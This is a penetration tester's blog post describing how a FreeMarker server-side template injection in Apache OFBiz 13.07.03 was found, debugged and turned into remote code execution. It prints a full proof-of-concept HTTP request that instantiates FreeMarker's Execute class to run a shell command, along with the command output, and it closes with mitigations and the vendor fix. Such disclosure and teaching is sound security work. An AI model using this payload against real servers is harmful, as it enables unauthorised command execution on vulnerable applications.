Dear Reader,
this blog post is about Server Side Template Injections for the Apache Freemarker Template Engine, how to detect them, how to craft an exploit and what countermeasures can be implemented. Server Side Template Injections are critical because they often allow even Remote Code Execution, like the exploit of Apache OFBiz 13.07.03 that triggered this post in the first place. It is fair to note, that the exploit of Apache OFBiz requires a valid session with the server, but often this is just an inconvenience for an attacker.
There is already a nice article about various Server Side Template Injections from Portswigger:
http://blog.portswigger.net/2015/08/server-side-template-injection.html
Hold on, why should you bother reading this article if there is already some decent documentation? This post concentrates solely on the Apache Freemarker Template Engine, its specialties and some tips and tricks that helped me exploit the vulnerability. So if you are interested in the details keep going. đ
Take a look at the PoC:
GET /sfa/control/main?externalLoginKey=EL0123456789${9*9}"ajaxEnabled=false></@renderSortField><#assign%09ex="freemarker.template.utility.Execute"?new()/><#assign%09out=ex("uname%09-a")/><@renderField%09out/> HTTP/1.1
Host: 192.168.56.101:8443
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64; rv:45.0) Gecko/20100101 Firefox/45.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate, br
Cookie: JSESSIONID=BBBBBBB1234567890EEEEEFFFFFFFFFF.jvm1; OFBiz.Visitor=10011
Connection: close
The payload is quite long for a PoC, isnât it? Actually it contains almost all the interesting stuff you can do with a template engine:
- Print the value of an expression with ${} e.g.: the statement abc${6*7}def prints âabc42defâ
- Execute a predefined macro with <@macroname args> e.g.: <@renderField âtextargâ> prints this HTML statement <p>textarg</p>
- Define a variable with this directive <#assign var=value> e.g.: <#assign version=â13.37â>
- Build a Java class that implements the Freemarker TemplateModel with the build-in ?new() e.g.: “freemarker.template.utility.Execute”?new()
Find the bug
Now you already have a good idea what the payload is doing. But how did I get there?
- Scanning OFBiz with Burp on âminimize false negativesâ, because the webapp seemed to be quite robust. The module âServer Side Template Injection” is using exactly the ${}-Notation to check if user input is reflected in an interpreted way in the response.
- Once IÂ reproduced the tentative finding of a Server Side Template Injection it did not take me long to generate a StackTrace, because IÂ tried to call a variable that is not existing with this request:
- https://192.168.56.102:8443/sfa/control/main?externalLoginKey=EL11111111111${dd}
FreeMarker template error:
The following has evaluated to null or missing:
==> dd [in template "-5c22382c:15548927556:-74a8" at line 1, column 252]
----
Tip: If the failing expression is known to be legally refer to something that's null or missing, either specify a default value like myOptionalVar!myDefault, or use <#if myOptionalVar??>when-present<#else>when-missing</#if>. (These only cover the last step of the expression; to cover the whole expression, use parenthesis: (myOptionalVar.foo)!myDefault, (myOptionalVar.foo)??
Play with the bug
Now we know for sure that Apache Freemarker is used. Hold on again, OFBiz is open source, so I could have looked it up? Yeah sure.. but just trying out was much easier/faster than to take a look at the source code in this case. đ
Ok, but at least now I started to look at some documentation about Apache Freemarker, what are valid expressions and how the Template Engine works. Here is my first cool tip: if you are too lazy to set up your own environment with Apache Freemarker you can just use this online tool and get familiar with the syntax and valid expressions and symbols: http://freemarker-online.kenshoo.com/
To be honest, I should have looked at the documentation, but I actually started to fuzz the parameter. I mean it says that âddâ is null or missing, but that doesnât mean that every combination of 1-5 letter words is missing. And in fact for words like âcloneâ or âgetâ a different stack trace is thrown:
FreeMarker template error:
For “${…}” content: Expected a string or something automatically convertible to string (number, date or boolean), but this evaluated to a method+sequence (wrapper: f.e.b.SimpleMethodModel):
==> get [in template “-5c22382c:15548927556:-7248” at line 1, column 252]
—-
Tip: Maybe using obj.something(params) instead of obj.something will yield the desired value
For an open source system it does not really make sense to launch this attack, but if you test a blackbox you might trigger different behavior of the system and detect the Template Engine by knowing that a set of certain key words produces the same behavior.
First, it makes sense to insert something easy that is working for sure (tested with the Editor), if we can manage to properly break out of the string.
Examine the bug
- https://192.168.56.102:8443/sfa/control/main?externalLoginKey=EL11111111111â<#assign%20txt=â42â> ${txt}
Trying this the payload, the element âsort-orderâ that previously threw the stack trace is missing in the response body. Since I run the test system I can just look at the server log if something popped up, suspecting that the Template Engine crashed at my payload and therefore is not rendering the element. Indeed the follow log entry can be found:
Error rendering screen thru ftl, macro: <@renderSortField style="sort-order" title="Subject" linkUrl="/sfa/control/main?statusId=COM_UNKNOWN_PARTY&roleStatusId_op=notEqual
&roleStatusId=COM_ROLE_COMPLETED&partyId=ltdadmin
&noConditionFind=N&externalLoginKey=EL884642971590"
<#assing+val=3>${val}&statusId_op=notEqual
&partyCommEventSortField=subject" ajaxEnabled=false />
[java] freemarker.core.ParseException: Syntax error in template "-5c22382c:15548927556:-7080" in line 1, column 255:
[java] Lexical error: encountered "a" (97), after "#"
Bingo, even the FreeMarker Directive that is parsed is logged. The Parser fails because we are still in the macro renderSortField and corrupt the statement by starting a new directive within the tag of the macro directive.
Debug the bug
With this knowledge itâs fairly easy to craft a valid payload, right?
After playing around with the online tool I came up with this payload:
- https://192.168.56.102:8443/sfa/control/main?externalLoginKey=EL11111111111″%20ajaxEnabled=false%20/><#assign%20txt=â42â> ${txt}
Executing this request, I didn’t get a response at all. The vulnerable element “sort-order” was not rendered. But fortunately I could take a look at the log files again. Another parsing error occurred, but this time at the “+”. Which plus? This plus “%20”.
But this is a URL encoded space! Yeah, and some stupid parser is only resolving %-encoding, but not substituting the +, so that my payload looks like this and fails because of wrong FreeMarker Syntax: ..1"+ajaxEnabled=false+/><#assign+txt=â42â>${txt}
Now I had several choices to make, how to resolve this bug. The first thing that came to my mind, was eliminating all spaces in my exploit. The second, and way better idea, was to substitute the space with an url-encoded newline %61%0a%62%0a. I verified that this is working with the online editor and discovered that, even easier, the tab %09 is also possible.
Exploit the bug
With this tweak the payload executed successfully and voilĂ , I copied the RCE payload from Portswigger included it in my payload and rendered the output in the returning HTTP Response, when I noticed something odd:
<a class="sort-order" href="/sfa/control/main?statusId=C ... nd=N&externalLoginKey=EL012345678981">Thema
Linux ricky-VirtualBox 3.19.0-39-generic #44~14.04.1-Ubuntu SMP Wed Dec
2 10:00:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
&statusId_op=notEqual&partyCommEventSortField=subject" ajaxEnabled=false />Kommunikationsereignis Typ ID<a class="sort-order" href="/sfa/control/main?statusId=C ... nd=N&externalLoginKey=EL012345678981">Akteur ID Von
Linux ricky-VirtualBox 3.19.0-39-generic #44~14.04.1-Ubuntu SMP Wed Dec
2 10:00:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
&statusId_op=notEqual&partyCommEventSortField=partyIdFrom" ajaxEnabled=false /><a class="sort-order" href="/sfa/control/main?statusId=C ... nd=N&externalLoginKey=EL012345678981">Akteur ID Zu
Linux ricky-VirtualBox 3.19.0-39-generic #44~14.04.1-Ubuntu SMP Wed Dec
2 10:00:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
&statusId_op=notEqual&partyCommEventSortField=partyIdTo" ajaxEnabled=false />Status ID<a class="sort-order-desc" href="/sfa/control/main?statusId=C ... nd=N&externalLoginKey=EL012345678981">Eingabedatum
Linux ricky-VirtualBox 3.19.0-39-generic #44~14.04.1-Ubuntu SMP Wed Dec
2 10:00:35 UTC 2015 x86_64 x86_64 x86_64 GNU/Linux
&statusId_op=notEqual&partyCommEventSortField=-entryDate" ajaxEnabled=false />
My payload was executed not once, not twice, not three times, but FOUR times! What a dilligent bug. đ
Mitigate the bug
There is more than one possible mitigation to this kind of bug and the best mitigation depends on the nature of the bug:
- Configure TemplateClassResolver.ALLOWS_NOTHING_RESOLVER
- Configure TemplateLoader so that it can only load *.ftl files
- Escape, prohibit the following symbols from user input @,#,%,<,> (and encodings)
- Do not enable api_builtin_enabled if you are not 100% sure what you are doing
- Use a light-weight Template Engine like Mustache, or Pythonâs Template
Apache OFBiz also has released a fix for this in version 16.11.01.
Learn from the bug
That’s it, thanks for reading! I hope you have some takeaways from this blog post. I certainly learned a lot in the process and I can encourage fellow Pentester to train hacking at open source software. First thing is, that you have full control of the system and you can learn to understand what’s going wrong inside. The second cool thing is, if you actually find something, you contribute to an open source project. đ
Cheers,
Ricky